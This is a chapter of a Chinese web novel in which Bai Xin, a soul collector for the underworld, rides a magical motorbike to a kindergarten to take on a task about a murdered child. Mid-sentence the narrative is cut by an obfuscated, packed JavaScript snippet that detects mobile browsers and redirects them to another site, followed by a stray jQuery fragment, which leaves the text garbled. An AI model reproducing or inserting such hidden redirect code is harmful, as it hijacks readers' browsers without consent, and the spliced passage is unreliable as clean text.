呵呵,白心站在楼下空地上,用意念把手环里的机车和头盔调出来,心想世界上最苦的牛马也不过如此了。 左慈一看就是家底丰厚,白天不给人类打工也没事的那种人,而她就不同了,不仅白天要给可恶的资本家打工帮助他们进行资本积累,晚上还得给地府这帮死鬼打工去收人间不肯回家的乱七八糟的鬼—— 命好苦。她突然有点理解她-99999天崩开局的功德了。 最惨的结局不是灰飞烟灭,而是像她现在这样备受折磨,连轴转打工,求生不得求死不能。 老天爷,算你狠! 一想到这白心就有点崩溃,一边爬上机车一边骂街。她最讨厌的就是和人接触了,所以找工作的时候她坚决不找销售,结果现在死了给她干上了——跟我走吧,我保证你下辈子能投个好胎——这跟销售有什么区别! 机车感应到白心的动作,像上次一样一秒扶正,稳稳地托着白心。 好听的低沉女声响起:“请选择您的目的地。” “蓝天幼儿园!”白心戴上头盔,大吼一声,刚才发的烧变成了她心中的一腔怒火,她倒要看看这个任务到底有多难。 等等,蓝天幼儿园。 她忽然想起李婧。李婧说上个月有个孩子被父亲的仇人所杀,会不会正好就是—— 还没来得及打开手环看任务,机车就飚了出去,白心猝不及防,立即像上次一样把身体伏低,稳稳地趴在机车上。 有了上次的经验,这次她明显熟练多了,白心微微起身,两只手紧紧攥着车把,看着车头上方的地图,代表着她的绿色箭头正以肉眼可见的速度极速逼近目的地。 安阳区蓝天幼儿园。 “喂,”白心朝手环喊道,“告诉我这一单的任务难度和功德点数。” 上次在楼下才看了一半就被遛狗的左慈打断,随后还遇到了邻居高姐,导致她完全没看清这一单任务的具体细节和功德数以及难度。 不过根据上次刘晓希那一单来看,应该也不会难到哪去吧?白心想,D级任务就是让她淋了点雨而已,只要不是S级那种毁天灭地的恶灵,应该大概也许可能也不会很难完成吧? 而且,白无常说过,系统是评估过的,认为她可以完成才派给她的,所以大概率安全。 手环立即回答:“好的主人,您的新一单任务难度评估为E级,功德数为3000点。” 白心:? 白色机车在道路上飞驰,白心的脑子也飞速转动,心想好家伙,这就给她上难度了。 才接完D级任务,就来了个E级任务,下一次是不是要给她S级了?白心看着前方模糊的街景,心说这还是个别人不要的E级,还不知道怎么难对付。 而且,还不确定会不会进化成S级。 白心的双手不自觉地攥紧了车把,心跳微微加速,她又朝手环问道:“任务目标是否已经进行认证?” 手环又回答道:“目标尚未认证。” 哦吼,白心心里一沉,这还是个没认证过的灵魂。没认证有两种情况,一是还没有引渡亡魂的人来过,二是来过,但是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852299|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没问出来。 3000的功德点是个鬼都要来尝尝咸淡,白心想,不可能没有人来过。任务能传到她这里,就说明别人不想或者无法完成,但是——又什么都没问出来? 上次刘晓希也是这样,除了名字和死因,来的人什么都问不出来。 白心咬紧嘴唇,心里隐隐有种不太妙的感觉。她可以用真心换刘晓希的真心,但不一定其他灵魂也愿意接受她这颗心。 不管了,先去再说!她打断自己的顾虑,3000功德点足够她接一个半刘晓希回去了,好不容易有这么大个单到她手里,除非被打死,不然她怎么也要拿到手! 一人一车在黑夜里穿梭,很快就抵达了目的地。 白心骑在车上,额头微微冒汗,看见前面五米是她昨天已经来过的她十分熟悉的地方——蓝天幼儿园。 大门右边是个很小的保安亭,里面的保安正在睡觉,左边是一颗巨大的香樟树,是她白天站过的地方。 虽然正值暑假,但学校内部有家属楼,很多学生家属还有部分教职工还住在里面,白天进出校园的人也不算少,所以保安还是要执勤。 但二十四小时都要值班确实有点超过了,白心皱着眉,想起昨天下午李婧的话。 ——上个月,有个孩子死于他杀。凶手潜伏在校园已久,趁人都走光时对小孩下了死手。 白心慢慢下车,稳稳站在了地上,她把头盔和机车都收进手环,眯着眼睛看着漆黑一片的学校。 看了一会儿,她终于朝前面走去,然而走了几步,忽然想起了什么似的拐了个弯,径直走向了保安亭。 白天和她大眼瞪小眼的保安大叔此刻睡得鼾声迭起,趴在桌子上呼噜打得震天响。 白心穿过保安亭的小门,静静站在了保安背后。 她弯下腰,轻轻把头凑近保安大叔的后脖颈,然后—— 狠狠地吹了口气。 保安被吹得一激灵,猛地直起身来大喊道:“谁!是谁!” 哈哈哈哈哈!白心看着惊慌失措的保安,不禁哈哈大笑,叫你白天瞪我! 保安左看右看,也没看见一个人,半晌,长长地舒了口气,伸了一个懒腰,终于打起精神来看监控。 好好值班吧你。白心转过身,穿过小门走了出去,边走边抬起手腕看了眼时间,零点三十五。 时间充足。她放下手,心想今晚可以跟这个鬼好好唠唠了。 走出保安亭,白心又顺利穿过了学校门口的伸缩大门,毫无阻碍地进入了校园。 升级了就是好哈,她想,不然还不知道怎么进去。 正对着大门的是一条约两百米长的跑道,白心沿着跑道一直往里走,尽头处就是蓝天幼儿园。 半夜的校园十分寂静,白心抬起头,看见右边水泥地篮球场漆黑一片,她又朝右前方看去,第三小学的教学楼也是漆黑一片,黑洞洞的窗户令人不寒而栗。 她走着,忽然觉得哪里不对。 太安静了。白心想,而且没有颜色。 不对—— E级灵魂没有颜色?白心感到一阵错愕,刘晓希是蓝色的,她所在的医院大楼也是蓝色的,而且还伴随着她的哭声。 这学校怎么没有颜色?白色蓝色红色,一种颜色都没有?难道是恶灵,不对,恶灵的黑色是流动的,而不是这种天黑般死气沉沉的。 不对劲。 白心跑了起来,在恐惧追上她之前抬起双腿奋力向前奔跑——要快点进入蓝天幼儿园。